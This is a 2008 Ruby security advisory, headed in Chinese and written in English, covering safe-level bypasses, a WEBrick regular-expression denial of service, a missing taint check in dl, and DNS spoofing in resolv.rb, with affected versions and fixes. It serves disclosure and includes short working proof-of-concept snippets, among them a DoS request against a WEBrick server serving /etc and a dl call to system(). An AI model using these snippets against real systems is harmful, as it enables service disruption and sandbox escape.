Ruby中的多個安全漏洞

由 SJH 發表於 2008-09-16

Ruby中發現多個安全漏洞。建議更新到最新的版本。

Details

The following vulnerabilities have been discovered.

Several vulnerabilities in safe level

Several vulnerabilities in safe level have been discovered.

  • untrace_var is permitted at safe level 4.

    trace_var(:$VAR) {|val| puts "$VAR = #{val}" }

Thread.new do
 $SAFE = 4
 eval %q{
   proc = untrace_var :$VAR
   proc.first.call("aaa")
 }
end.join

  • $PROGRAM_NAME may be modified at safe level 4.

    Thread.new do
 $SAFE = 4
 eval %q{$PROGRAM_NAME.replace "Hello, World!"}
end.join

$PROGRAM_NAME #=> "Hello, World!"

  • Insecure methods may be called at safe level 1-3.

    class Hello
 def world
   Thread.new do
     $SAFE = 4
     msg = "Hello, World!"
     def msg.size
       self.replace self*10 # replace string
       1 # return wrong size
     end
     msg
   end.value
 end
end

$SAFE = 1 # or 2, or 3
s = Hello.new.world
if s.kind_of?(String)
 puts s if s.size < 20 # print string which size is less than 20
end

  • Syslog operations are permitted at safe level 4.

    require "syslog"

Syslog.open

Thread.new do
 $SAFE = 4
 eval %q{
   Syslog.log(Syslog::LOG_WARNING, "Hello, World!")
   Syslog.mask = Syslog::LOG_UPTO(Syslog::LOG_EMERG)
   Syslog.info("masked")
   Syslog.close
 }
end.join

These vulnerabilities were reported by Keita Yamaguchi.

DoS vulnerability in WEBrick

WEBrick::HTTP::DefaultFileHandler is faulty of exponential time taking requests due to a backtracking regular expression in WEBrick::HTTPUtils.split_header_value.

Exploitable server:

require 'webrick'
WEBrick::HTTPServer.new(:Port => 2000, :DocumentRoot => "/etc").start

Attack:

require 'net/http'
res = Net::HTTP.start("localhost", 2000) { |http|
  req = Net::HTTP::Get.new("/passwd")
  req['If-None-Match'] = %q{meh=""} + %q{foo="bar" } * 100
  http.request(req)
}
p res

The request likely won't finish in this universe.

This vulnerability was reported by Christian Neukirchen.

Lack of taintness check in dl

dl doesn't check taintness, so it could allow attackers to call dangerous functions.

require 'dl'
$SAFE = 1
h = DL.dlopen(nil)
sys = h.sym('system', 'IP')
uname = 'uname -rs'.taint
sys[uname]

This vulnerability was reported by sheepman.

DNS spoofing vulnerability in resolv.rb

resolv.rb allow remote attackers to spoof DNS answers. This risk can be reduced by randomness of DNS transaction IDs and source ports, so resolv.rb is fixed to randomize them.

This vulnerability was reported by Tanaka Akira.

Vulnerable versions

1.8 series
  • 1.8.5 and all prior versions
  • 1.8.6-p286 and all prior versions
  • 1.8.7-p71 and all prior versions
1.9 series
  • r18423 and all prior revisions

Solution

1.8 series
Please upgrade to 1.8.6-p287, or 1.8.7-p72.
1.9 series

Please check out the latest version using Subversion.

$ svn co https://svn.ruby-lang.org/repos/ruby/trunk ruby

Please note that a package that corrects this weakness may already be available through your package management software.

Credit

Credit to Keita Yamaguchi, Christian Neukirchen, sheepman, and Tanaka Akira for disclosing these problems to Ruby Security Team.

Changes